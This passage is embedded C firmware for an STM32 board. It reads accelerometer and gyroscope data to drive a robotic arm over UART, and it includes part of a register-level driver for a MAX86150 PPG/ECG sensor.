/* Includes ------------------------------------------------------------------*/
#include "main.h"
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
#include "ICM_20948.h"
#include "MY_NRF24.h"
#include "MAX86150.h"
#include "stdbool.h"
#include "stdlib.h"
/* USER CODE END Includes */
/* Private typedef -----------------------------------------------------------*/
/* USER CODE BEGIN PTD */
void moveArm(int16_t accel[3], int16_t gyro[3], int16_t mag[3]);
/* USER CODE END PTD */
/* Private define ------------------------------------------------------------*/
/* USER CODE BEGIN PD */
/* USER CODE END PD */
/* Private macro -------------------------------------------------------------*/
/* USER CODE BEGIN PM */
/* USER CODE END PM */
/* Private variables ---------------------------------------------------------*/
I2C_HandleTypeDef hi2c1;
SPI_HandleTypeDef hspi1;
SPI_HandleTypeDef hspi3;
UART_HandleTypeDef huart1;
/* USER CODE BEGIN PV */
/* USER CODE END PV */
/* Private function prototypes -----------------------------------------------*/
void SystemClock_Config(void);
static void MX_GPIO_Init(void);
static void MX_SPI3_Init(void);
static void MX_SPI1_Init(void);
static void MX_USART1_UART_Init(void);
static void MX_I2C1_Init(void);
/* USER CODE BEGIN PFP */
/* USER CODE END PFP */
/* Private user code ---------------------------------------------------------*/
/* USER CODE BEGIN 0 */
int16_t tx_buffer[10];
char uart_buffer[100];
uint64_t TxpipeAddrs = 0x11223344AA;
char AckPayload[32];
int16_t ppgunsigned16 = 0;
float posS = 100;
float posR = 90;
float posH = 50;
uint8_t rate = 30;
int16_t posR1 = 0;
int16_t posS1 = 0;
int16_t posH1 = 0;
int8_t n = 0;
uint8_t x = 1;
/* USER CODE END 0 */
/**
* @brief The application entry point.
* @retval int
*/
int main(void)
{
/* USER CODE BEGIN 1 */
/* USER CODE END 1 */
/* MCU Configuration--------------------------------------------------------*/
/* Reset of all peripherals, Initializes the Flash interface and the Systick. */
HAL_Init();
/* USER CODE BEGIN Init */
/* USER CODE END Init */
/* Configure the system clock */
SystemClock_Config();
/* USER CODE BEGIN SysInit */
/* USER CODE END SysInit */
/* Initialize all configured peripherals */
MX_GPIO_Init();
MX_SPI3_Init();
MX_SPI1_Init();
MX_USART1_UART_Init();
MX_I2C1_Init();
/* USER CODE BEGIN 2 */
HAL_GPIO_WritePin(nRF_PWR_GPIO_Port, nRF_PWR_Pin, GPIO_PIN_SET);
NRF24_begin(nRF_CS_GPIO_Port, nRF_CS_Pin, nRF_CE_Pin, hspi3);
nrf24_DebugUART_Init(huart1);
NRF24_stopListening();
NRF24_openWritingPipe(TxpipeAddrs);
NRF24_setAutoAck(true);
NRF24_setChannel(52);
NRF24_setPayloadSize(32);
NRF24_enableDynamicPayloads();
NRF24_enableAckPayload();
printRadioSettings();
ICM_SelectBank(USER_BANK_0);
ICM_PowerOn();
MAX86150_setup();
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", 300, 90, 100);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
/* USER CODE END 2 */
/* Infinite loop */
/* USER CODE BEGIN WHILE */
while (1)
{
// Select User Bank 0
ICM_SelectBank(USER_BANK_0);
HAL_Delay(10);
// Obtain accelerometer and gyro data
ICM_ReadAccelGyro();
// Obtain magnetometer data
int16_t mag_data[3];
moveArm(accel_data, gyro_data, mag_data);
/*
ICM_ReadMag(mag_data);
ppgunsigned16 = 15;
//Read PPG sensor data
if(MAX86150_check() > 0) {
ppgunsigned16 = (uint16_t) (MAX86150_getFIFORed()>>2);
ppgunsigned16 = 0;
}
// Print raw, but joined, axis data values to screen
memcpy(tx_buffer, accel_data, sizeof(accel_data));
memcpy(&tx_buffer[3], gyro_data, sizeof(gyro_data));
memcpy(&tx_buffer[6], mag_data, sizeof(mag_data));
//memcpy(&tx_buffer[9], ppgunsigned16, sizeof(ppgunsigned16));
tx_buffer[9] = ppgunsigned16;
// Print raw, but joined, axis data values to screen
sprintf(uart_buffer,
"(Ax: %i | Ay: %i | Az: %i) "
"(Gx: %i | Gy: %i | Gz: %i) "
"(Mx: %i | My: %i | Mz: %i) (PPG: %i)"
" \r\n",
accel_data[0], accel_data[1], accel_data[2],
gyro_data[0], gyro_data[1], gyro_data[2],
mag_data[0], mag_data[1], mag_data[2], ppgunsigned16);
HAL_UART_Transmit(&rx_buffer, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
if(NRF24_write(tx_buffer, sizeof(tx_buffer))) {
HAL_UART_Transmit(&rx_buffer, (uint8_t *)"Transmitted Successfully\r\n", strlen("Transmitted Successfully\r\n"), 10);
char myDataack[80];
sprintf(myDataack, "AckPayload: %s \r\n", AckPayload);
HAL_UART_Transmit(&rx_buffer, (uint8_t *)myDataack, strlen(myDataack), 10);
}*/
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
}
/* USER CODE END 3 */
}
void moveArm(int16_t accel[3], int16_t gyro[3], int16_t mag[3]){
//ICM_20948_AGMT_t agmt;
float accx = accel[0];
float accy = accel[1];
float accz = accel[2];
float gyrx = gyro[0];
float gyry = gyro[1];
float gyrz = gyro[2];
float magx = mag[0];
float magy = mag[1];
float magz = mag[2];
posR=posR+gyrz*rate/1000;
//int iposR = round(posR);
if (posR>180){
posR = 180;
}else if (posR<0){
posR = 0;
}
posS= 300 - accy * 0.6;
//int iposS = round(posS);
if (posS>300){
posS = 300;
}else if (posS<10){
posS = 10;
}
posR1=posR;
posS1=posS1+posS;
n=n+1;
if (n==5){
posS1=posS1/6;
posH1=posH1/6;
int16_t iposR = round(posR1);
int16_t iposS = round(posS1);
int16_t iposH = 100;
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
n=0;
if (iposR < 52 && iposR > 38 && iposS < 250 && iposS > 200 && x == 1){
sprintf(uart_buffer, "G2201 S225 R45 H45 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "G2201 S225 R45 H15 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "M2231 V1\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
x = 0;
}
if (iposR < 142 && iposR > 128 && iposS < 200 && iposS > 150 && x== 0){
sprintf(uart_buffer, "G2201 S175 R135 H45 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "G2201 S175 R135 H15 F10000\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(2000);
sprintf(uart_buffer, "M2231 V0\r\n");
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
sprintf(uart_buffer, "G2201 S%i R%i H%i F1000000\r\n", iposS, iposR, iposH);
HAL_UART_Transmit(&huart1, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
HAL_Delay(500);
x = 1;
}
}
}
/**
* @brief System Clock Configuration
* @retval None
*/
void SystemClock_Config(void)
{
RCC_OscInitTypeDef RCC_OscInitStruct = {0};
RCC_ClkInitTypeDef RCC_ClkInitStruct = {0};
RCC_PeriphCLKInitTypeDef PeriphClkInit = {0};
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_MSI;
RCC_OscInitStruct.MSIState = RCC_MSI_ON;
RCC_OscInitStruct.MSICalibrationValue = 0;
RCC_OscInitStruct.MSIClockRange = RCC_MSIRANGE_6;
RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON;
RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_MSI;
RCC_OscInitStruct.PLL.PLLM = 1;
RCC_OscInitStruct.PLL.PLLN = 40;
RCC_OscInitStruct.PLL.PLLP = RCC_PLLP_DIV7;
RCC_OscInitStruct.PLL.PLLQ = RCC_PLLQ_DIV2;
RCC_OscInitStruct.PLL.PLLR = RCC_PLLR_DIV2;
if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK)
{
Error_Handler();
}
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK
|RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2;
RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK;
RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1;
RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV1;
RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1;
if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_4) != HAL_OK)
{
Error_Handler();
}
PeriphClkInit.PeriphClockSelection = RCC_PERIPHCLK_USART1|RCC_PERIPHCLK_I2C1;
PeriphClkInit.Usart1ClockSelection = RCC_USART1CLKSOURCE_PCLK2;
PeriphClkInit.I2c1ClockSelection = RCC_I2C1CLKSOURCE_PCLK1;
if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInit) != HAL_OK)
{
Error_Handler();
}
/** Configure the main internal regulator output voltage
*/
if (HAL_PWREx_ControlVoltageScaling(PWR_REGULATOR_VOLTAGE_SCALE1) != HAL_OK)
{
Error_Handler();
}
}
/**
* @brief I2C1 Initialization Function
* @param None
* @retval None
*/
static void MX_I2C1_Init(void)
{
/* USER CODE BEGIN I2C1_Init 0 */
/* USER CODE END I2C1_Init 0 */
/* USER CODE BEGIN I2C1_Init 1 */
/* USER CODE END I2C1_Init 1 */
hi2c1.Instance = I2C1;
hi2c1.Init.Timing = 0x10909CEC;
hi2c1.Init.OwnAddress1 = 0;
hi2c1.Init.AddressingMode = I2C_ADDRESSINGMODE_7BIT;
hi2c1.Init.DualAddressMode = I2C_DUALADDRESS_DISABLE;
hi2c1.Init.OwnAddress2 = 0;
hi2c1.Init.OwnAddress2Masks = I2C_OA2_NOMASK;
hi2c1.Init.GeneralCallMode = I2C_GENERALCALL_DISABLE;
hi2c1.Init.NoStretchMode = I2C_NOSTRETCH_DISABLE;
if (HAL_I2C_Init(&hi2c1) != HAL_OK)
{
Error_Handler();
}
/** Configure Analogue filter
*/
if (HAL_I2CEx_ConfigAnalogFilter(&hi2c1, I2C_ANALOGFILTER_ENABLE) != HAL_OK)
{
Error_Handler();
}
/** Configure Digital filter
*/
if (HAL_I2CEx_ConfigDigitalFilter(&hi2c1, 0) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN I2C1_Init 2 */
/* USER CODE END I2C1_Init 2 */
}
/**
* @brief SPI1 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI1_Init(void)
{
/* USER CODE BEGIN SPI1_Init 0 */
/* USER CODE END SPI1_Init 0 */
/* USER CODE BEGIN SPI1_Init 1 */
/* USER CODE END SPI1_Init 1 */
/* SPI1 parameter configuration*/
hspi1.Instance = SPI1;
hspi1.Init.Mode = SPI_MODE_MASTER;
hspi1.Init.Direction = SPI_DIRECTION_2LINES;
hspi1.Init.DataSize = SPI_DATASIZE_8BIT;
hspi1.Init.CLKPolarity = SPI_POLARITY_HIGH;
hspi1.Init.CLKPhase = SPI_PHASE_2EDGE;
hspi1.Init.NSS = SPI_NSS_SOFT;
hspi1.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_8;
hspi1.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi1.Init.TIMode = SPI_TIMODE_DISABLE;
hspi1.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi1.Init.CRCPolynomial = 7;
hspi1.Init.CRCLength = SPI_CRC_LENGTH_DATASIZE;
hspi1.Init.NSSPMode = SPI_NSS_PULSE_DISABLE;
if (HAL_SPI_Init(&hspi1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI1_Init 2 */
/* USER CODE END SPI1_Init 2 */
}
/**
* @brief SPI3 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI3_Init(void)
{
/* USER CODE BEGIN SPI3_Init 0 */
/* USER CODE END SPI3_Init 0 */
/* USER CODE BEGIN SPI3_Init 1 */
/* USER CODE END SPI3_Init 1 */
/* SPI3 parameter configuration*/
hspi3.Instance = SPI3;
hspi3.Init.Mode = SPI_MODE_MASTER;
hspi3.Init.Direction = SPI_DIRECTION_2LINES;
hspi3.Init.DataSize = SPI_DATASIZE_8BIT;
hspi3.Init.CLKPolarity = SPI_POLARITY_LOW;
hspi3.Init.CLKPhase = SPI_PHASE_1EDGE;
hspi3.Init.NSS = SPI_NSS_SOFT;
hspi3.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_8;
hspi3.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi3.Init.TIMode = SPI_TIMODE_DISABLE;
hspi3.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi3.Init.CRCPolynomial = 7;
hspi3.Init.CRCLength = SPI_CRC_LENGTH_DATASIZE;
hspi3.Init.NSSPMode = SPI_NSS_PULSE_ENABLE;
if (HAL_SPI_Init(&hspi3) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI3_Init 2 */
/* USER CODE END SPI3_Init 2 */
}
/**
* @brief USART1 Initialization Function
* @param None
* @retval None
*/
static void MX_USART1_UART_Init(void)
{
/* USER CODE BEGIN USART1_Init 0 */
/* USER CODE END USART1_Init 0 */
/* USER CODE BEGIN USART1_Init 1 */
/* USER CODE END USART1_Init 1 */
huart1.Instance = USART1;
huart1.Init.BaudRate = 115200;
huart1.Init.WordLength = UART_WORDLENGTH_8B;
huart1.Init.StopBits = UART_STOPBITS_1;
huart1.Init.Parity = UART_PARITY_NONE;
huart1.Init.Mode = UART_MODE_TX_RX;
huart1.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart1.Init.OverSampling = UART_OVERSAMPLING_16;
huart1.Init.OneBitSampling = UART_ONE_BIT_SAMPLE_DISABLE;
huart1.AdvancedInit.AdvFeatureInit = UART_ADVFEATURE_NO_INIT;
if (HAL_UART_Init(&huart1) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART1_Init 2 */
/* USER CODE END USART1_Init 2 */
}
/**
* @brief GPIO Initialization Function
* @param None
* @retval None
*/
static void MX_GPIO_Init(void)
{
GPIO_InitTypeDef GPIO_InitStruct = {0};
/* GPIO Ports Clock Enable */
__HAL_RCC_GPIOH_CLK_ENABLE();
__HAL_RCC_GPIOA_CLK_ENABLE();
__HAL_RCC_GPIOB_CLK_ENABLE();
__HAL_RCC_GPIOC_CLK_ENABLE();
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(ICM_CS_GPIO_Port, ICM_CS_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(nRF_PWR_GPIO_Port, nRF_PWR_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOC, nRF_CS_Pin|nRF_CE_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin : ICM_CS_Pin */
GPIO_InitStruct.Pin = ICM_CS_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(ICM_CS_GPIO_Port, &GPIO_InitStruct);
/*Configure GPIO pin : nRF_PWR_Pin */
GPIO_InitStruct.Pin = nRF_PWR_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(nRF_PWR_GPIO_Port, &GPIO_InitStruct);
/*Configure GPIO pins : nRF_CS_Pin nRF_CE_Pin */
GPIO_InitStruct.Pin = nRF_CS_Pin|nRF_CE_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOC, &GPIO_InitStruct);
}
/* USER CODE BEGIN 4 */
/* USER CODE END 4 */
/**
* @brief This function is executed in case of error occurrence.
* @retval None
*/
void Error_Handler(void)
{
/* USER CODE BEGIN Error_Handler_Debug */
/* User can add his own implementation to report the HAL error return state */
/* USER CODE END Error_Handler_Debug */
}
#ifdef USE_FULL_ASSERT
/**
* @brief Reports the name of the source file and the source line number
* where the assert_param error has occurred.
* @param file: pointer to the source file name
* @param line: assert_param error line source number
* @retval None
*/
void assert_failed(char *file, uint32_t line)
{
/* USER CODE BEGIN 6 */
/* User can add his own implementation to report the file name and line number,
tex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */
/* USER CODE END 6 */
}
#endif /* USE_FULL_ASSERT */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
<file_sep>/Main-mHealth/Src/MAX86150.c
// Includes
#include "main.h"
#include "MAX86150.h"
#include <stdint.h>
#include "stdlib.h"
//#include "stm32l4xx_hal_i2c.h"
char uartBuffer[100];
UART_HandleTypeDef huart1;
// Defines
#define I2C_BUFFER_LENGTH 32
/**********************************************************************************
* START REGISTERS
**********************************************************************************/
// Status Registers
static const uint8_t MAX86150_INTStatus1 = 0x00;
static const uint8_t MAX86150_INTStatus2 = 0x01;
static const uint8_t MAX86150_INT_EN1 = 0x02;
static const uint8_t MAX86150_INT_EN2 = 0x03;
// FIFO Registers
static const uint8_t MAX86150_FIFOWritePointer = 0x04;
static const uint8_t MAX86150_OverflowCounter = 0x05;
static const uint8_t MAX86150_FIFOReadPointer = 0x06;
static const uint8_t MAX86150_FIFODataRegister = 0x07;
static const uint8_t MAX86150_FIFOConfig = 0x08;
// FIFO Data Control
static const uint8_t MAX86150_FIFODataControl1 = 0x09;
static const uint8_t MAX86150_FIFODataControl2 = 0x0A;
// System Control
static const uint8_t MAX86150_SystemControl = 0x0D;
// PPG Configuration
static const uint8_t MAX86150_PPGConfig1 = 0x0E;
static const uint8_t MAX86150_PPGConfig2 = 0x0F;
static const uint8_t MAX86150_ProxINTThreshold = 0x10;
// LED Pulse Amplitude
static const uint8_t MAX86150_LED1_IR = 0x11;
static const uint8_t MAX86150_LED2_RED = 0x12;
static const uint8_t MAX86150_LEDRange = 0x14;
static const uint8_t MAX86150_LEDPilot_PROX = 0x15;
// ECG Configuration
static const uint8_t MAX86150_ECGConfig1 = 0x3C;
static const uint8_t MAX86150_ECGConfig2 = 0x3E;
// Part Identification
static const uint8_t MAX86150_PartID = 0xFF;
/**********************************************************************************
* END REGISTERS
**********************************************************************************/
/**********************************************************************************
* START COMMANDS
**********************************************************************************/
// Status Registers
static const uint8_t MAX86150_INT_A_FULL_FLAG_MASK = 0x7F; // 0111 1111 --> Zeroing-out bit [7]
static const uint8_t MAX86150_INT_A_FULL_ENABLE = 0x80; // (1)000 0000 set bit [7] to "1"
static const uint8_t MAX86150_INT_A_FULL_DISABLE = 0x00; // (0)000 0000 clear bit [7] to "0"
static const uint8_t MAX86150_INT_PPG_RDY_MASK = 0xBF; // 1011 1111 --> Zeroing-out bit [6]
static const uint8_t MAX86150_INT_PPG_RDY_ENABLE = 0x40; // 0(1)00 0000 set bit [6] to "1"
static const uint8_t MAX86150_INT_PPG_RDY_DISABLE = 0x00; // 0(0)00 0000 clear bit [6] to "0"
static const uint8_t MAX86150_INT_ALC_OVF_MASK = 0xDF; // 1101 1111 --> Zeroing-out bit [5]
static const uint8_t MAX86150_INT_ALC_OVF_ENABLE = 0x20; // 00(1)0 0000 set bit [5] to "1"
static const uint8_t MAX86150_INT_ALC_OVF_DISABLE = 0x00; // 00(0)0 0000 clear bit [5] to "0"
static const uint8_t MAX86150_INT_PROX_MASK = 0xEF; // 1110 1111 --> Zeroing-out bit [4]
static const uint8_t MAX86150_INT_PROX_ENABLE = 0x10; // 000(1) 0000 set bit [4] to "1"
static const uint8_t MAX86150_INT_PROX_DISABLE = 0x00; // 000(0) 0000 clear bit [4] to "0"
static const uint8_t MAX86150_INT_PWR_RDY_MASK = 0xFE; // 1111 1110 --> Zeroing-out bit [0]
static const uint8_t MAX86150_INT_PWR_RDY_ENABLE = 0x01; // 0000 000(1) set bit [0] to "1"
static const uint8_t MAX86150_INT_PWR_RDY_DISABLE = 0x00; // 0000 000(0) clear bit [0] to "0"
// PPG Mode Configuration 1
static const uint8_t MAX86150_ADCRange_MASK = 0x3F; // 0011 1111 --> Zeroing-out bits [7:6]
static const uint8_t MAX86150_ADCRange_4096 = 0x00; // (00)00 0000 set bits [7:6] to "00"
static const uint8_t MAX86150_ADCRange_8192 = 0x40; // (01)00 0000 set bits [7:6] to "01"
static const uint8_t MAX86150_ADCRange_16384 = 0x80; // (10)00 0000 set bits [7:6] to "10"
static const uint8_t MAX86150_ADCRange_32768 = 0xC0; // (11)00 0000 set bits [7:6] to "11"
static const uint8_t MAX86150_FIFO_ROLLOVER_MASK = 0xEF; // 1110 1111 --> Zeroing-out bit [4]
static const uint8_t MAX86150_FIFO_ROLLOVER_ENABLE = 0x10; // 000(1) 0000 set bit [4] to "1"
static const uint8_t MAX86150_FIFO_ROLLOVER_DISABLE = 0x00; // 000(0) 0000 clear bit [4] to "0"
// Set the effective sampling rate of the PPG
static const uint8_t MAX86150_SampleRate_MASK = 0xC3; // 1100 0011 --> Zeroing-out bits [5:2]
static const uint8_t MAX86150_SampleRate_10_1Pulse = 0x00; // 00(00 00)00 set bits [5:2] to "0000"
static const uint8_t MAX86150_SampleRate_20_1Pulse = 0x04; // 00(00 01)00 set bits [5:2] to "0001"
static const uint8_t MAX86150_SampleRate_50_1Pulse = 0x08; // 00(00 10)00 set bits [5:2] to "0010"
static const uint8_t MAX86150_SampleRate_84_1Pulse = 0x0C; // 00(00 11)00 set bits [5:2] to "0011"
static const uint8_t MAX86150_SampleRate_100_1Pulse = 0x10; // 00(01 00)00 set bits [5:2] to "0100"
static const uint8_t MAX86150_SampleRate_200_1Pulse = 0x14; // 00(01 01)00 set bits [5:2] to "0101"
static const uint8_t MAX86150_SampleRate_400_1Pulse = 0x18; // 00(01 10)00 set bits [5:2] to "0110"
static const uint8_t MAX86150_SampleRate_800_1Pulse = 0x1C; // 00(01 11)00 set bits [5:2] to "0111"
static const uint8_t MAX86150_SampleRate_1000_1Pulse = 0x20; // 00(10 00)00 set bits [5:2] to "1000"
static const uint8_t MAX86150_SampleRate_1600_1Pulse = 0x24; // 00(10 01)00 set bits [5:2] to "1001"
static const uint8_t MAX86150_SampleRate_3200_1Pulse = 0x28; // 00(10 10)00 set bits [5:2] to "1010"
static const uint8_t MAX86150_SampleRate_10_2Pulse = 0x2C; // 00(10 11)00 set bits [5:2] to "1011"
static const uint8_t MAX86150_SampleRate_20_2Pulse = 0x30; // 00(11 00)00 set bits [5:2] to "1100"
static const uint8_t MAX86150_SampleRate_50_2Pulse = 0x34; // 00(11 01)00 set bits [5:2] to "1101"
static const uint8_t MAX86150_SampleRate_84_2Pulse = 0x38; // 00(11 10)00 set bits [5:2] to "1110"
static const uint8_t MAX86150_SampleRate_100_2Pulse = 0x3C; // 00(11 11)00 set bits [5:2] to "1111"
// These bits set the pulse width of the LED drivers and the integration time (us) of the PPG adc -- Resolution 19 bits
static const uint8_t MAX86150_LEDPulseWidth_MASK = 0xFC; // 1111 1100 --> Zeroing-out bits [1:0]
static const uint8_t MAX86150_LEDPulseWidth_50 = 0x00; // 0000 00(00) set bits [1:0] to "00"
static const uint8_t MAX86150_LEDPulseWidth_100 = 0x01; // 0000 00(01) set bits [1:0] to "01"
static const uint8_t MAX86150_LEDPulseWidth_200 = 0x02; // 0000 00(10) set bits [1:0] to "10"
static const uint8_t MAX86150_LEDPulseWidth_400 = 0x03; // 0000 00(11) set bits [1:0] to "11"
// PPG Mode Configuration 2
// Sample averaging
// These bits set the # of samples that are average on chip before being written to the FIFO
static const uint8_t MAX86150_SMPAVG_MASK = 0xF8; // 1111 1000 --> Zeroing-out bits [2:0]
static const uint8_t MAX86150_SMPAVG_1 = 0x00; // 0000 0(000) set bits [2:0] to "000" -- No averaging
static const uint8_t MAX86150_SMPAVG_2 = 0x01; // 0000 0(001) set bits [2:0] to "001"
static const uint8_t MAX86150_SMPAVG_4 = 0x02; // 0000 0(010) set bits [2:0] to "010"
static const uint8_t MAX86150_SMPAVG_8 = 0x03; // 0000 0(011) set bits [2:0] to "011"
static const uint8_t MAX86150_SMPAVG_16 = 0x04; // 0000 0(100) set bits [2:0] to "100"
static const uint8_t MAX86150_SMPAVG_32 = 0x05; // 0000 0(101) set bits [2:0] to "101"
//static const uint8_t MAX86150_SMPAVG_32 = 0x06; // 0000 0(110) set bits [2:0] to "110"
//static const uint8_t MAX86150_SMPAVG_32 = 0x07; // 0000 0(111) set bits [2:0] to "111"
// ECG Configuration 1
// These bits set the Over Sampling Ratio (OSR) of the ECG_ADC
// It also sets the ADC Clock frequency to set the ECG Sample Rate
static const uint8_t MAX86150_ECG_ADC_MASK = 0xFB; // 1111 1000 --> Zeroing-out bit [2:0]
static const uint8_t MAX86150_ECG_ADC_1600 = 0x00; // 0000 0(000) set bits [2:0] to "000"
static const uint8_t MAX86150_ECG_ADC_800 = 0x01; // 0000 0(001) set bits [2:0] to "001"
static const uint8_t MAX86150_ECG_ADC_400 = 0x02; // 0000 0(010) set bits [2:0] to "010"
static const uint8_t MAX86150_ECG_ADC_200 = 0x03; // 0000 0(011) set bits [2:0] to "011"
static const uint8_t MAX86150_ECG_ADC_3200 = 0x04; // 0000 0(100) set bits [2:0] to "100"
//static const uint8_t MAX86150_ECG_ADC_1600 = 0x05; // 0000 0(101) set bits [2:0] to "101"
//static const uint8_t MAX86150_ECG_ADC_800 = 0x06; // 0000 0(110) set bits [2:0] to "110"
//static const uint8_t MAX86150_ECG_ADC_400 = 0x07; // 0000 0(111) set bits [2:0] to "111"
// ECG Configuration 3
// These bits set the gain of the ECG PGA Gain Options - units V/V
static const uint8_t MAX86150_ECG_GAIN_MASK = 0xF3; // 1111 0011 --> Zeroing-out bit [3:2]
static const uint8_t MAX86150_ECG_GAIN_1 = 0x00; // 0000 (00)00 set bits [3:2] to "00"
static const uint8_t MAX86150_ECG_GAIN_2 = 0x04; // 0000 (01)00 set bits [3:2] to "01"
static const uint8_t MAX86150_ECG_GAIN_4 = 0x08; // 0000 (10)00 set bits [3:2] to "10"
static const uint8_t MAX86150_ECG_GAIN_8 = 0x0C; // 0000 (11)00 set bits [3:2] to "11"
// These bits set the gain of the instrumental Amplifier - units V/V
static const uint8_t MAX86150_IA_GAIN_MASK = 0xF3; // 1111 1100 --> Zeroing-out bit [1:0]
static const uint8_t MAX86150_IA_GAIN_5 = 0x00; // 0000 00(00) set bits [1:0] to "00"
static const uint8_t MAX86150_IA_GAIN_9_5 = 0x01; // 0000 00(01) set bits [1:0] to "01"
static const uint8_t MAX86150_IA_GAIN_20 = 0x02; // 0000 00(10) set bits [1:0] to "10"
static const uint8_t MAX86150_IA_GAIN_40 = 0x03; // 0000 00(11) set bits [1:0] to "11"
UART_HandleTypeDef huart2;
/**********************************************************************************
* END COMMANDS
**********************************************************************************/
/**********************************************************************************
* FUNCTION DEFINITIONS
**********************************************************************************/
void MAX86150_setup() {
// =====================================
// FIFO Configuration
// =====================================
// Copying this setup code from github
//sprintf(uartBuffer, "Before: %d\r\n", readRegister8(MAX86150_Address, MAX86150_SystemControl));
//HAL_UART_Transmit(&huart1, (uint8_t*)uartBuffer, strlen(uartBuffer), 1000);
writeRegister8(MAX86150_Address, MAX86150_SystemControl,0x01);
HAL_Delay(100);
//sprintf(uartBuffer, "After: %d\r\n", readRegister8(MAX86150_Address, MAX86150_SystemControl));
//HAL_UART_Transmit(&huart1, (uint8_t*)uartBuffer, strlen(uartBuffer), 1000);
writeRegister8(MAX86150_Address, MAX86150_FIFOConfig,0x7F);
// Default to average 4 samples
// setFIFOAverage(MAX86150_SMPAVG_4);
setFIFOAverage(0x5F);
uint16_t FIFOCode = 0x00;
FIFOCode = FIFOCode<<4 | 0x0009;// : FIFOCode; //insert ECG front of ETI in FIFO
FIFOCode = FIFOCode<<8 | 0x0021;//) : FIFOCode; //insert Red(2) and IR (1) in front of ECG in FIFO
writeRegister8(MAX86150_Address, MAX86150_FIFODataControl1,(0b00100001));
writeRegister8(MAX86150_Address, MAX86150_FIFODataControl2,(0b00001001));
writeRegister8(MAX86150_Address, MAX86150_PPGConfig1,(0b11010001));
writeRegister8(MAX86150_Address, MAX86150_PPGConfig2,0x06);
writeRegister8(MAX86150_Address, MAX86150_LEDRange,0x00);
writeRegister8(MAX86150_Address, MAX86150_SystemControl,0x04); // start FIFO
writeRegister8(MAX86150_Address, MAX86150_ECGConfig1,0b00000011);
writeRegister8(MAX86150_Address, MAX86150_ECGConfig2,0b00001101);
setPulseAmplitudeRed(0xFF);
setPulseAmplitudeIR(0xFF);
clearFIFO();
// =====================================
// PPG Config 1
// =====================================
// Default to 4096
// setADCRange(MAX86150_ADCRange_4096);
// Default to 50
// setSampleRate(MAX86150_SampleRate_50_1Pulse);
// Set pulseWidth - default to 50us
